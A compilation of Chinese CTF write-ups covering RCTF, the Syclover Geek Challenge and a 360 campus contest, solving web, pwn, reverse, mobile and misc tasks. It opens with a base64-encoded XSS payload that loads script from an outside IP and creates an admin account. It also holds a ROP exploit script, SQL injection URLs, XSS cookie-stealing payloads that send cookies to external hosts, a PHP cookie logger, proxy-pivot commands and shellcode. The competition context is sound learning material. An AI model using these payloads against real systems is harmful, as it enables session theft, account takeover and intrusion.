<link rel="import" href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovLzE4MC43Ni4xNzguNTQ6ODAwNC80Yjc5ZjVkNDg2MDM4NGQ0YWM0OTRhZDkxZjUzMTNiNy9qcy9qcXVlcnkuanM+PC9zY3JpcHQ+CjxzY3JpcHQ+CiQuYWpheCh7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAicG9zdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmw6ICIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YTogIm5hbWU9dG9tYXRvMTIzJnBhc3M9dG9tYXRvMTIzJmlzYWRtaW49MSZhZGR1c2VyPWFkZHVzZXImdG9rZW49IiskKCJpbnB1dFtuYW1lPXRva2VuXSIpLnZhbCgpfSkKPC9zY3JpcHQ+">

添加了一个帐号密码为tomato123的管理员 访问admin.php拿到flag

easysql

注册一个aaa\然后在修改密码的页面可以发现报错

可以看到是双引号,这明显是一个二次注入,然后重新构造语句发现不能含有空格。但是这并不影响,直接用括号代替就行了。

然后爆出一个flag表,查询提示说flag not here,然后去查users里面的列名发现

然后直接去查询里面的内容,发现只能出现RCTF这几个字符,然后就一直在纠结怎么查询,因为测试发现把substring left,right,reverse like 这些都拦截了。后面灵机一动想到了regexp。

username=tomato"||updatexml(0x7c,concat((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^R'))),1)#&password=tomato&email=tomato

然后成功搞定

login

第二天给了提示说是nosql,那就猜是mongodb

那就开始跑密码了。

跑出的帐号密码为

ROIS_ADMIN  pas5woRd_i5_45e2884c4e5b9df49c747e1d

然后登陆一发。


下载备份文件,发现是一个php的解压zip的类,然后百度找到官方提供的,在diff一下

还在html源码里面发现

$Agent = $_SERVER['HTTP_USER_AGENT'];
$backDoor = $_COOKIE['backdoor'];
$msg = json_encode("no privilege");
$iterations = 1000;
$salt = "roisctf";
$alg = "sha1";
$keylen = "20";
if ($Agent == $backDoor || strlen($Agent) != 65) {
    exit($msg);
}
if (substr($Agent,0,23) != "rois_special_user_agent") {
    exit($msg);
}
if (pbkdf2($alg, $Agent, $salt, $iterations, $keylen) != pbkdf2($alg, $backDoor, $salt, $iterations, $keylen)) {
    exit($msg);
}

测试发现直接上传zip提示没有权限,然后只有过了上面三个条件才行。主要是第三个条件不好过,然后google一发 pdkdf2 ctf


找到了这个 PBKDF2+HMAC collision 然后在https://mathiasbynens.be/notes/pbkdf2-hmac
这篇文章里面说到这个是可以碰撞的,就是不同的明文会出现相同的密文,然后用里面提供的脚本跑一发。成功跑出来一个

rois_special_user_agentaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamipvkd

3-Rfm^Bq;ZZAcl]mS&eE `

然后改一下ua,在cookie里面添加backdoor就可以成功上传了。


按照解压出来的文件的命名规则为md5(文件名+RoisFighting).文件的后缀 但是访问http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/upload/image/051ee28a1964f9f2779d32f2e48212cb/70d08f9380da3a6e0440b3266a2a39f6.php 文件并不存在,测试发现在解压后会直接删除文件,所以我们可以尝试构造一个解压到上级目录的shell

shell地址就是 http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/upload/image/382aef24b11f8c5222bc58062a9bf5c7.php

pwn

pwn200

很明显的栈溢出,然后重点是利用… 没给libc,可以先写好leak,用dynelf来获取system的地址,之后构造rop搞定.

from pwn import *
from time import sleep
#p = process('./welpwn_932a4428ea8d4581431502ab7e66ea4b')
context(arch='amd64', os ='linux')
#p = remote('127.0.0.1',6666)
p = remote('180.76.178.48',6666)
elf1 = ELF('./welpwn_932a4428ea8d4581431502ab7e66ea4b') 


got_write = elf1.got['write']
got_read = elf1.got['read']
log.info("got_write = %s" %(hex(got_write)))


addr_echo = 0x40081e
pop_rdi_ret = 0x4008a3
pop4_r12_ret = 0x40089c
pop6_rbx_ret = 0x40089a
s1 = 0x4008c9
call_r12_rbx_8 = 0x400889
mov_rdx_rsi_edi_call = 0x400880


ff = 0 
def leak(address):
    global ff
    p.recvuntil('RCTF\n') 
    payload1 = 0x10*"C" + 0x8*"B" + p64(pop4_r12_ret) 
    payload1 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(got_write) + p64(8) + p64(address) + p64(1)  + p64(mov_rdx_rsi_edi_call) 
    #payload1 += p64(0x0)*2 + p64(0x601580) + p64(0x0)*4
    payload1 += 56*"1"
    payload1 += p64(0x4007cd)         #payload1_ret
    p.sendline(payload1)
        
    if ff==0:
        data = p.recv(8)
        ff=1
    else:
        p.recv(0x1b)
        data = p.recv(8)
    
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    #log.info("get -> %s" %(data)) 
    return data


d = DynELF(leak,elf = ELF('./welpwn_932a4428ea8d4581431502ab7e66ea4b'))
system_addr = d.lookup('system','libc')

log.info("system = %s " %(hex(system_addr)))
#log.info("binsh = %s " %(hex(binsh_addr)) )

#system_addr = 0x7ffff7a60e10
bbs_addr = 0x601260
payload2 = "A"*0x18 + p64(pop4_r12_ret) 
payload2 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(got_read) + p64(0x11) + p64(bbs_addr) + p64(0) + p64(mov_rdx_rsi_edi_call) 
payload2 += 56*"\x00"
payload2 += p64(0x4007cd)
#raw_input()
p.sendline(payload2)
sleep(1)
p.sendline("/bin/sh\0"+ p64(system_addr))


payload3 = "A"*0x18 + p64(pop4_r12_ret)
payload3 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(bbs_addr+8)  + p64(0) + p64(0) + p64(bbs_addr)  + p64(mov_rdx_rsi_edi_call) 
payload3 += 56*"\x00"
payload3 += p64(0x4007cd)
p.sendline(payload3)

sleep(0.5)
p.interactive()


misc

一个log日志文件,是sqlmap跑注入留下的记录 搜索flag关键字,发现是一个二分法盲注,然后就是提权!=后面的值,解ascii

Re

Re100:

拖进ida,得到如下的反汇编


根据 v2 == 20 ,知道 sub_804867B((int)&unk_8049B80)函数,执行了20次循环,且是对输入的数字进行处理。该函数循环处理的是


将fun_1_1.txt中每行的下标对应的值相加 (函数循环部分)与fun_1_2.txt 中每行的值比较。 来到第二个处理函数


该函数循环中每个下标对应的数值相加(fun_2_1.txt),必须与fun_2_2.txt对对应的下标的数值相等. 最后解出数组的每个下标:得到1111211331146411510105116152015611721353521711828567056288119368412612684369111045120210252210120451011115516533046246233016555111112662204957929247924952206612111378286715128717161716128771528678131114913641001200230033432300320021001364911411151054551365300350056435643550053003136545510515111612056018204368800811440128701144080084368182056012016111713668023806188123761944824310243101944812376618823806801361711181538163060856818564318244375848620437583182418564856830608161531811191719693876116282713250388755829237892378755825038827132116283876969171191。Md5 加密 (32位) 即可得到 flag

Re200

游戏一般都会在一个循环里,不停的刷新界面,判断关卡等,那就找到消息循环函数:
进入标记为黄色的函数,

可以看到,有个为FileName的数组,后面是对他解密。 刚好为flag.txt

我们用Od打开,把EIP定位到这里,让他执行,,最后在目录下,得到flag.txt的文件, 得到flag

Mobile 100

拿到文件首先file一下,可以看到这是一个android backup文件,首先想到的是android backup漏洞。

这里直接用脚本解压,里面有两个目录。下面那个com.example.zi是没有用的,直接看com.example.mybackup。


反编译里面的apk可以看懂大概的逻辑就是读取一个加密过的sqlite的数据库,里面保存有Flag,这个数据库保存在备份目录下,可以通过backup漏洞restore到手机上就可以读取。


不过这里对数据库的所有操作都需要满足


但是这个this.mCursor一开始被赋值为null,所以这些操作都没有用。可以修改smali代码,在入口把这个this.mCursor赋值为


不过我修改完后反编译的apk不能运行,可能是我apktool的问题。所以弄清楚程序的逻辑后我们可以自己写一个读取这个数据库的应用,然后把flag打印出来。

这里的key是原程序的签名。然后把BOOKS.db放到这个应用的目录下,运行就可以看到打印的Flag。

Mobile300

先运行下apk,Toast说这是一个Misc。反编译后看了下逻辑也很简单,apk的代码没有什么用。然后就开始找其他线索。首先在assets目录下可以看到一个abc的文件,用16进制编辑器打开后可以看到dex.035的魔术字,而且这个abc的大小是0x70字节,正好是dex文件头的大小。所以可以确定我们需要修复一个dex文件,这个abc就是dex的文件头。

从dex文件头还可以获得的信息是原dex文件的大小是1395184字节,除去文件头的大小我们还需要1395072字节。在META-INF目录又找到一个y文件,打开后并没有发现有用的信息,先放着。然后是找dex的主体数据,这里我将apk反编译后再回编译,和原apk对比,发现CERT.RSA变小很多,所以打开原apk中的CERT.RSA,果然看到了隐藏的数据。
在文件尾还看到了aes-128-cbc的字符。

把”DEX=”后面的数据抠出来,然后用openssl命令解密。这道题主要就卡在解密这里,开始用的是”Misc@inf0#fjhx11″的16进制作为key,解密出来不对,后来看了tips加了-nosalt,然后用”Misc@inf0#fjhx11″作为key,就可以解密出来了。

解密后的文件大小刚好是1395072字节。将这段数据和dex头拼接起来,反编译失败,估计还需要做修复。又看了下dex头,发现string_ids_size,type_ids_size这些字段都是0,这里可以根据偏移值来得到size,修复成功后再反编译就能成功了。但是又发现MainActivity的OnCreate方法反编译失败,在dex文件中找到这个方法的数据,发现全是0。


再看前面的y文件,发现它的大小正是这个方法的大小。将y中的数据修补回来,再次反编译,就可以看到方法了。


得到Flag:h3ll02_GetfLag。

第六季极客大挑战writeup

Team:Syclover

0x00 Pentest

AAencode
这道题是AAencode+base32 如上所诉,http://utf-8.jp/ 这里可以进行编码和解码,f12也可以,运行后是段base32编码的内容,进行解码即可。

大鲨鱼
将数据包下载到本地,wireshark打开,很容易发现有一个flag.jpeg,扣出来就可以看到flag了。

来来来,写代码
如题所诉,爆破变量名,这里我是用post接收的,写个脚本去爆破就可以了。我将所有选手的代码打包发群里。

Bypass_it
入题所诉,突破上传,只是很简单的过滤了.php后缀(大小写都过滤了),php3,php4,php5都可以上传。上传即可得到flag。
Dede
这道题部署的Dede的最新版,默认配置,目前没有很好用的漏洞,但是我把备份文件放在根目录下,扫目录可以发现web.zip,将其下载下来,可以发现index.php被加了后门,构造URL用菜刀连接就可以了,flag在一个txt里。(本来这题我测试的时候,用我的菜刀是连不起的,所以我本来打算是让大家自己写脚本去连接的,但是不知道为什么你们的菜刀可以连的起。给出原来的解答方案.)

//获取当前目录下的所有文件
$dir="./";
$file=scandir($dir);
print_r($file);
//获取文件内容
file_get_contents(xxx.txt);

小彩蛋(一)
Flag是隐藏在css里面
http://geek.sycsec.com/assets/default/css//jk.min.css

Asp你会吗?

题目中提示是这个木马的密码,除了正常的一个syclover,应该还有一个是后门密码,然后用asp解密解一下
http://www.dheart.net/decode/index.php

因为前面正常密码的变量是UserPass,后门密码也会赋值到这个变量,然后搜索一下UserPass,拿到flag

Sqli1
一个去年的原题,啥都没有做,直接可以拉到工具里面跑

看下源代码得到参数为uid=
然后直接放sqlmap里面去跑

Sqli2
这题是一道宽字节注入,过滤了%df,参数和上一题一样的,是uid
可以使用tamper的脚本来进行自定义的注入攻击,这里面有个叫做unmagicquotes,就是提供的宽字节注入,sqlmap跑一发,拿到flag

 

Sqli3

首先是一个图片,txt打开后,发现尾部追加了数据

Lalala是参数
然后这题有一个小小的过滤,过滤了一些空格,需要黑盒测试得到,比如%a0,/*a*/等等一些可以绕过这个。
通过扫描网站可以得到一个www.zip(看到挺多人没扫描也测试出来了)

function filtrate($str)
{
/**
* 此处省略
*/
}

$link = mysql_connect('localhost','xxx','xxx');
if(!$link){
die('error'.mysql_error());
}
mysql_select_db('sql3',$link) or die ('cannot use database'.mysql_error());

if(isset($_GET['uid'])){
$uid = filtrate($_GET['uid']);
$sql = "select content from content where id=1 order by id limit 0,$uid";
}
else{
echo "Nothing!";
exit();
}
$result = @mysql_query($sql);
echo mysql_error();
while ($row = @mysql_fetch_row($result)) {
echo $row[0];
}
@mysql_free_result($result);
@mysql_close($link);

通过那个sql语句就可以知道,这是一个limit前有order by的一个注入
于是手注得到版本信息。
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1/*a*/PROCEDURE/*a*/ANALYSE(extractvalue(1,concat(0x7e,version())),1)

这里要对大家表示抱歉,由于服务器搭建的数据库版本高了点,导致题目有些bug,后面修复后,不知道为什么最后几天数据库好像自动升级了…然后后面就没弄了。
![]

所以最后爆出flag的payload
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1/*a*/PROCEDURE/*a*/ANALYSE(extractvalue(1,concat(0x7e,(select(flag)from(`%23flag_this`)))),1)

http_
只要观察http header很容易就可以找到flag,看http header的方式可以是通过抓包工具来看包,还可以直接浏览器的f12看网络分析

Vous ferez Fran?ais
你会法语么?Accept-Language用来告诉服务器浏览器支持什么样的语言。只要抓包修改Accept-Language,加入代表法语的fr-FR再把包发出去就可以拿到flag

小明一
看URL就可以很容易发现可能会出现php的文件包含漏洞,测试可以知道漏洞确实存在。再通过http头和README.PHP文件的提示,可知得获取README.php的源码。利用LFI来获取源码的方法就是通过php://伪协议将文件进行base64编码,再解码来得到源代码。具体就是include.php?file=php://filter/read=convert.base64-encode/resource=README.php

小明二
通过提示拿到源码后,可以看出是一个由extract函数引起的变量覆盖问题。extract函数可以从数组中把变量导入到当前的符号表中,相当于定义变量。该函数的第二个参数没有传入值时为默认的EXTR_ORVERWRITE值,也就是存在冲突时,会覆盖已有的变量。php中的$_REQUEST可以接收通过get和post还有cookie传过来的值。最简单的方式就是通过get的方式来拿到flag。index.php?whattodo=save the world!。由于给了源码,导致有的童鞋只看下面的判断语句就传值拿下了-_-

饼干饼干饼干
抓包加入Referer: http://www.google.com,可以让服务端以为是通过谷歌页面跳过来的。然后再修改cookie中用来判断是否是管理员的is_admin的值为1就可以拿到flag

三叶草留言板
先是做的盲打的,后来增加的一个测试页面。在测试页很容易测出做的过滤只是把src弄成了0,用编码或者跳转还是很容易绕过的。
良辰服了队伍的payload:

<script>document.write(String.fromCharCode(60, 115, 99, 114, 105,
112, 116, 32, 115, 114, 99, 61, 104, 116, 116, 112, 58, 47, 47, 119,
119, 119, 46, 120, 115, 115, 115, 101, 114, 118, 101, 114, 46, 99,
111, 109, 47, 107, 81, 104, 56, 109, 1
10, 63, 49, 52, 52, 53, 51, 52,
54, 56, 54, 57, 62, 60, 47, 115, 99, 114, 105, 112, 116,
62))</script>

南有嘉木队伍的payload:

<script>window.open('http://xxxx/cookie.asp?ms
g='+document.cookie)</script>
<script>window.open('http://xxxx/cookie.asp?ms
g='+windows.location.href)</script>

tw0_cat3队伍的payload:

<script>document.location = ‘http://xxx.com/cookie.php?cookie=’+document.cookie;</script>

接收端的php脚本

<?php
$cookie = $_
GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time=date('Y-m-d g:i:s');
$referer=getenv ('HTTP_REFERER');
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen('cookie.txt', 'a');
fwrite($fp," IP: " .$ip. "n Date and Time: " .$time. "n User Agent:".$agen
t."n Referer: ".$referer."n
Cookie: ".$cookie."nnn");
fclose($fp);
header("Location: http://www.google.com");
?>

web500(一)
这是一个实战题,开始是一个dz7.2的论坛,百度一下dz7.2 漏洞 就可以发现然这个注入了。

http://hackme.sycsec.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23


然后通过继续构造语句之后发现,注入出来的uckey不能拿到shell的。而且管理员的hash也解不开。然后扫一发目录,可以发现这个站还存在一个Wordpress搭建的博客系统。
在注入点,发现我们可以控制wordpress的数据库,所以去查询wordpress的密码,很遗憾。wordpress的密码无法解开。这时需要利用wordpress老版本的一个设计缺陷,首先通过重置管理员的密码,然后会在数据库中生成一个找回密码的key。只要我们知道这个key就可以找回密码了。

然后执行

http://hackme.sycsec.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select user_activation_key from wordpress.wp_users limit 0,1),floor(rand(0)*2))x from information_schema .tables group by x)a)%23

构造url来重置管理员密码

http://hackme.sycsec.com/blog/wp-login.php?action=rp&key=79RyLeu773OkkYjV3Wca&login=admin


然后到后台拿shell

可以看到第一个flag

web500(二)
通过第一个的提示可以知道,第二个flag在192.168.206.140这个ip上面。我们可以开一个代理进入内网。上传一个代理脚本

然后开启socks5代理

python reGeorgSocksProxy.py -u http://hackme.sycsec.com/blog/wp-content/plugins/akismet/syclover.php -l 127.0.0.1 -p 8888

然后使用namp进行端口扫描

proxychains4 -q -f proxy nmap -Pn -sT 192.168.206.140

可以发现开了一个8888的端口

访问发现就是一个tomcat


通过对前面密码的分析可以知道tomcat的密码可能为tomcat123,因为在前面的数据库连接文件中dz为dz123 wordpress为wordpress123
然后成功进入后台,就可以部署war,拿到第二个flag


 

 

 

 

 

0x02Reverse

好简单啊
很简单的Windows平台的CM ,只是对输入的字符做长度判断、范围判断之后进入校验算法。
长度16, 范围纯数字


由此得出flag是 SYC{1341910478870402}

简单的linuxRE
没干扰,直接IDA F5看算法,或者gdb调试看都可以



可以看出就是简单的异或之后字符串逐位比对
SYC{Ea3y_C7ack_Me_Have_Fun}

据说可以找到什么
有点类似CUIT十一届校赛的题目,把输入字符串加密之后写到一个文件。题目给出的是加密程序和密文,flag是明文。
先upx脱壳,之后发现里面加了ptrace()反调试,利用这点反调试是基于gdb的工作原理去做的。
对策:gdb载入,对 ptrace下断,之后 run,再return 回去,找到入口点,对入口点下断,就绕过了 ptrace() 反调试;或者修改寄存器去bypass。

虽然加了点混淆,但是算法还是很好找(IDA F5并没有多好用,直接gdb调试会好点)

算法:高低4bit的交换,最后一轮循环异或

SYC{edk2:\L3mon_233333_download}
ps:强行黑了一波柠檬叔叔

Win_Easy
TLS和静态分析的干扰

用了学弟的一个图,当时自己做得时候没留图
TLS 不为空,nop掉或者是加cc运行起来,调试器里把反调试干掉都可以。
之后就是找算法了
调试器调试发现算法:取两个字符串奇偶位组合组成的。

//奇数
int str1[31] = { 00,117,00,95,00,48,00,95,00,48,00,95,00,104,00,95,00,76,00,71,00,84,00,76,00,49,00,95,00,117,00 };
//偶数
int str2[31] = { 72,00,104,00,89,00,117,00,71,00,116,00,84,00,51,00,70,00,65,00,95,00,83,00,95,00,115,00,70,00,110 };

最后得到 Huh_Y0u_G0t_Th3_FLAG_TSL_1s_Fun
加上SYC{Huh_Y0u_G0t_Th3_FLAG_TSL_1s_Fun}提交

 

换个口味
放个炒鸡简单的android逆向吧,用户名是syclover
这个是可以插桩直接Log把flag打印出,也可以反编译之后看代码去解



可以看关键算法是这个base64 (不过table被换掉了,要自己写base64的解密)
其实里面还写了des、查表替换,也调用了,但是只是干扰
真正的算法是 base64(base64(“syclover”))

SYC{ekiceaIVhzaTgEm#} 提交即可

SYC美男子(一)
栈溢出
问题出在 meinanzi() 这个函数,在输入的时候没有做限制,导致可以栈溢出,执行任意代码。

测试之后发现,payload的结构应该是

payload = 140*“A” + “BBBB”

就可以控制EIP了,bin文件中给了一个 读取flag的函数,但是没调用,把EIP覆盖为这个函数的地址,就可以拿到一个flag(100分)
exp如下:

这样就可以读取到第一个flag

美男子 (二)
系列二,这时候要拿shell了

通过调试发现,当payload是

payload = “A”*140+”BBBB”+”C”*100
eip被覆盖成 0x42424242 此时的esp指向填充的C字符
也就是说 我们可以把shellcode放在后面,通过找到 jmp esp 指令跳过去执行shellcode拿到shell

但是注意:scanf()函数 0x0a 0x0b 截断 0x0c会变成 0x00
在找跳板和找shellcode的时候要避免这些字符
最终exp如下

打一下本地试试

Ok~

玩泥巴
先静态分析,发现运行结果与代码中的逻辑不同,可以看到有个共享库libwanniba.so,开始分析这个,在my_init111里修改了Method结构的成员指向了dex文件末尾一段

Method结构体:

其中修改的就是insns这个字段,这个字段指向方法的代码,程序在运行的时候,通过libwanniba.so把docheck的insns指向另一块代码,所以静态看到的代码和运行的代码不同。通过分析my_init111可以找到真正的代码在dex文件的末尾,所以只要修改dex文件中docheck的codeoff,使它指向末尾的代码然后反编译就可以看到真是代码了。

linux_re100
描述为非常非常非常非常简答的哪个,确实非常简单;
Linux 下 ,strings 一下,就可以得到flag

Linux re200_1
运行报错—————————但这是骗人的。

用ida打开,反汇编主函数,得到

可以看到第21行在对mian 函数的第一个参数做判断,main 函数的第一个参数表示是程序接受的参数。由此可知,需要向程序提供两个参数。输入任意两个参数后,程序没提示,

说明输入错误。在返回ida 分析。在第25对第一个程序参数进行处理:把输入的每个字符右移3为 | 左移5位。
,第27行对第二个程序参数进行处理:把每个字符右移2位,左移动6位。
第28行对两个字符串进行合并操作,将第一个参数放在数组的奇数下标,第二个参数放在偶数下标。
第30行,对合并得到的字符串,与加密后的字符对比。进行验证。
我们可以写出如下代码,得到flag:


到这里,还需要进行一部,,,(我知道坑了很多人。。。我的错),两个字符串进行合并操作,将第一个参数放在数组的奇数下标,第二个参数放在偶数下标。

得到最终flag:*)_GooD__Jo0B_(* (我的锅,,开脑洞了)

Linux Re200(c++写的那道)

可以看到0x4012E2,在进行跳转判断,就是进行输入用户名判断。而判断用户名是0x4012E0,那行,call eax,由于是用c++ 写的,所以我们知道,这是动态调用,所以我们必须找到相关对象的构造函数,从而找到虚拟函数地址。由于对象的相关数据(首地址)是通过rdi传送,可以根据,0x4012D0那行,定位到对象的首地址,为rbp-20,从而,得到0x40128D那行是构建该对象的构造函数。
又由于,虚函数,一般存在对象的首地址,我们可以分析到判断用户名的虚拟函数,刚好是为与虚函数表的第一个。那么跟进sub_40158E函数

可以看到,0x40159E那行,对对象的首地址复制为虚函数的首地址。跟进虚函数首地址,

又由于,我们刚刚的知,判断用户名的函数为虚函数表中的第一个函数,所以我们得到判断用户名的函数为上图标记为黄色的函数。
跟进。

可以看到,在对输入的用户名长度,判断是否为7位,如果不是的话,就GG。
用以上的分析法,我们可以找到验证flag的函数,在这里,我就不罗嗦,直接找到验证flag的函数吧(地址为4011AE)。
就是 (对输入的字符-4)^32的操作

提醒一下,由于上面标记为黄色的地址,是加密后的字符,由于是全局变量初始化,所以为空,可以用gdb 得到加密后的字符串。

现在我们可以写出揭秘算法了:

Flag:Y0u_Can_&Rea11y_D0_It.

Windows下的由于做出来的人,比较多,我就把别人写的writeup贴出来吧

简单Win_RE(南有嘉木--F_3nG写的(感谢))
拖进od后可以看见程序大概流程

往下走,找到关键函数

算法如下

修改0x401026为jmp short 00401002,保存为新文件,然后同目录下创建一个flag.bat,在其中输入所有可输入的字符,就可以得到一张对应表,如下

找到关键字符串后,对应可以从表中找出

加上SYC{}就是flag
Ps:可以用ida看算法,直接逆向写程序得出flag。

Win_Re200(南有嘉木–F_3nG写的(感谢))
OD下一个GetDlgItemTextA断点,就可以跟踪如下

跟进校验密码的call,发现对我们输入的密码处理(具体算法不用具体看),那么下面一定有一串字符用来和处理后的密码比较

找到用来和密码比较的字符串

又因为如下

每三位比较一次,所以最后用来和密码比较的字符串对应的16进制是
33 56 F6 16 B5 F2 B5 94 16 A7 33 B6 92 24 53 D7 52
修改一些汇编,存为新文件,输入每个可显字符,得到下面的表

一一对应寻找,可以得到flag 7ake_+_Me~7o-F1y!(上传时加上SYC{})

0x03Linux

神秘代码并不神秘

\xbf\x23\x10\x4e\xbb\xdd\xc6\xd9\x74\x24\xf4\x58\x2b\xc9\xb1
\x13\x31\x78\x13\x03\x78\x13\x83\xc0\x27\xf2\xbb\xd1\x2c\xaa
\xda\x74\x54\x22\xf0\x1b\x11\x55\x62\xf3\x52\xf2\x73\x63\xbb
\x60\x1d\x1d\x4a\x87\x8f\x09\x6a\x48\x30\xca\x17\x2b\x58\xa5
\xf7\x89\xcb\x60\xb4\xb6\xb8\xfa\x5f\x25\x53\x98\xaf\xd1\x98
\x01\xa6\x6a\x80\xd4\x56\xf9\x5b\x55\xf5\x75\xcd\xf7\xbe\x2a
\x4d\x75\x62\xd5\x1a\xd6\xeb\x34\x69\x58

想到是一串shellcode,想办法执行起来试试
关键是要关闭栈保护 否则是不能执行的


SYC{Shellc0d3__is_interStinG_@}
ps:出题人当时没注意拼写…

遗失的密码
根据题目提示:密码的组成是由用户名+日期
密文下面是root,但是管理员是叫joker,大家自己体会。
生成字典joker+日期
然后放大hashcat跑一发
hashcat -m 1800 -a 0 -o found1.txt --remove crack1.hash 500_passwords.txt
得到flag:
$6$F84utBXh$g2dDb6QXacuId.5NDwrvyPxIJGxiU8gyhTywRP5jksb6e/CgeG94/THLJhgZ4oB8hPow
rLPdmVWFIZTBZdT6S/:joker19820716

0x04Misc

口号更新
hi!你的flag掉了,在zone里面,同样存在一个小提示,快去更新口号,听说更新内容为flag_flag_flag的时候会爆出flag。

去年是get数据过去更新口号,今年就稍微的改变了一下,用post传递数据
题意:zone里有小提示 ,查看源代码,发现:

访问:geek.sycsec.com/slogan 然后post的名是slogan,值是flag_flag_flag

得到flag

仔细看一看
首先看看图片是有隐藏了什么数据段

看来只有一个压缩包,然后里面还有一个叫flag.txt的文件
直接改后缀为zip打开

一串unicode编码,解码得到VBF{Wk3_Hqf0g3_I0u_b0x_1x}
再根据flag的固定格式是知道前面三位是SYC,所以前移移位(凯撒密码),得到SYC{Th3_Enc0d3_F0r_y0u_1u}

会不会写代码
Binwalk分析下载的文件,是一个zip文件。

一个明显的git的文件夹,git log是看不到的,需要去执行一下git relog,然后回退一下。

或者执行 git reset –hard ORIG_HEAD

看到有一个队是这样解的,直接去读取git里面的object的文件。

0x05Program

Transposition cipher
考点:基础编程能力:数组、循环
> SYC{T4anSp0sIti06_Cip63r_666}

按照题意描述编写解码程序即可
1. 列置换, python

2. c
> 读完题后很容易就可以想到用数组存储密文并模拟解密的过程来得出答案,不过有如下几点需要注意的地方:
> 1.密钥是 1~7,故应该将密文处理为 7 组。
>2.确定存储密文、明文数组的大小。将密文复制到 word 中进行统计字数之后,决定用[10000]的 char 数组来存储密文,用[7][1500]的 char 数组来存储中间数据。
>3.用 while 循环 getchar()!=EOF 来读取密文,用变量 i 记录密文字符数。
>4.确定中间数据每组的元素数。一共 7 组,每组存储元素数为((i%7)+i)/7。
>5.for 循环将密文数据数组处理到中间数据数组中。
>6.for 循环将中间数据按照 key 输出。

#include<stdio.h>
//2015.10.10
char password[10000];
char p[7][1500];
int key[7] = {7,6,5,2,1,3,4};

int main()
{
int i = 0,j,num;
while((password[i] = getchar())!= EOF) // or EOF
i++;
num = ((i%7)+i)/7;
for(i = 0;i < 7;i++)
for(j = 0;j < num;j++)
p[i][j] = password[num * i + j];
for(i = 0;i < num;i++)
for(j = 0;j < 7;j++)
printf("%c",p[key[j] - 1][i]);
return 0;
}

消失的flag
知识点:hash碰撞(CRC32碰撞)、从流量中提取文件
> flag:SYC{cRc32_C0l1isioN}

首先从流量中提取文件,参考http://bobao.360.cn/learning/detail/206.html
可以看见图片上的文件校验信息,
从图片上可以获取如下信息:
文件为txt纯文本文件,大小为4字节,和这四字节可见ascii码的各种hash校验值。
1. 穷举四个字节计算hash非常快,普通pc几分钟即可穷举所有可见ascii字符的hash值,即可得到flag。

2. 去cmd5等在线hash破解网站查表获取明文

土豪的密码
知识点:仿射密码、同余方程、模逆元
加密算法为仿射密码,密钥空间扩充到了可见ascii字符集,但是密钥空间还是非常小,可以穷举破解。

1. 逆算法,模逆元

cipher = "2a50492e5e6f61725b4a51203e25494974227b3c72487250".decode('hex')
plain = ''
for i in cipher:
plain += chr(((ord(i) - 32) * 55 + 65) % 96 + 32)
print plain

2. 由加密算法可知明文密文一一映射,可见ascii字符都用加密算法加密一遍得到对应密文,用密文查表即可得到flag。

运行代码得表,然后将txt的hex转化为字符串,一一对应即为flag。

3. 回推,试除

#include "stdafx.h"
int main()
{
int i;
while (1)
{
scanf_s("%x", &i);
i = i - 57;
while (i % 7 != 0)
{
i += 96;
}
i = i / 7 + 32;
printf("%c\n", i);
}
return 0;
}

2015 360初赛 writeup

0x00 前言
上周360的比赛,也进入了决赛。

0x01 web
web10

首先保存那个图片,然后用winhex在尾部发现

Where is the key?{ZW1lbS4uLiAvY3RmXzM2MF9mbGFn}

然后base64_decode之后,为emem… /ctf_360_flag 后面群里提示苹果电脑,然后访问
mac下每个目录都有的文件.DS_Store
http://isg.campus.360.cn/web1/ctf_360_flag/.DS_Store
成功拿到flag

web20
首先拿到泄露的源码
http://isg.campus.360.cn/web2/check.php.swp

<?php
/***
此处为提示
$code=0000000000;
admin code 0
user code  1
test code 2
***/
len_check($_GET['code'],10)

if(!empty($_GET['email']) && !empty($_GET['code'])) 
{ 
    if(!$db->count('admin',"email='{$_GET['email']}' ANDcode='{$_GET['code']}'")) 
        die('error');
    $_SESSION['email']= $_GET['email']; 
        ..........
}
?>

然后找到了p神这篇文章
遇到一个有趣的逻辑漏洞


然后我们构造code为000000000x
code的长度要为十因为源码里面有len_check($_GET[‘code’],10),0是代表admin.然后成功拿到flag。
没发现这篇文章之前还写了个脚本在跑。就是先获取code,然后提交。跑了一下午然后并没有什么卵用。

web40
http://isg.campus.360.cn/web3/
这个题也是给了一个图片

看到文件的结尾

--.  ..  ..-.  ---..  ----.  .-  ;
<..--..  .--.  ....  .--.   $.-   = "-----  .-.-.-  .----  ";$-...   = $_--.  .  -  [.----.  -...  .----.  ];..  ..-.  ($-...   -.-.--  = .----.  .----.  ){    ..  ..-.   (..  ...  _.-  .-.  .-.  .-  -.--  ($-...  )){        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";        .  -..-  ..  -  ;    }.  .-..  ...  .  ..  ..-.  (-.-.--  ..  ...  _-.  ..-  --  .  .-.  ..  -.-.  ($-...  )){       $-.-.   = (..  -.  -  )(($.-   + $-...  ) * .----  -----  );        ..  ..-.   ($-.-.   == "---..  " && $-...  [.----  -----  ] == ..-.  .-  .-..  ...  .  ){            .  -.-.  ....  ---   "..-.  .-..  .-  --.  ";        }.  .-..  ...  .  {            .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";            .  -..-  ..  -  ;        